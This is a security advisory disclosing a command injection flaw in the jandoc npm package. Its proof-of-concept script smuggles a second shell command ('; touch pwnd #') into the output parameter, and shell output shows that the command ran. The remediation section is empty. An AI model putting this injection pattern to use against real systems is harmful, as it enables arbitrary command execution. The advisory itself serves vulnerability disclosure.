Summary
A Command Injection vulnerability was discovered in jandoc.
Product
All versions of jandoc published on NPM.
Impact
It’s possible to inject malicious shell code, provided that the library is
called with untrusted input being passed on to the input or output
parameters.
Steps to reproduce
Save this code in a file, e.g. poc.js:
require('jandoc')({
'input': "input.md",
'output': "output.html; touch pwnd #"
});
A Markdown file is needed to run the PoC, e.g. the following text saved with
the filename input.md:
# hello
pwnd
Now, simply run poc.js and see the results:
$ rm -f output.html pwnd
$ ls -1
input.md
node_modules
package-lock.json
package.json
poc.js
$ node poc.js
$ ls -1
input.md
node_modules
output.html
package-lock.json
package.json
poc.js
pwndRemediation
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.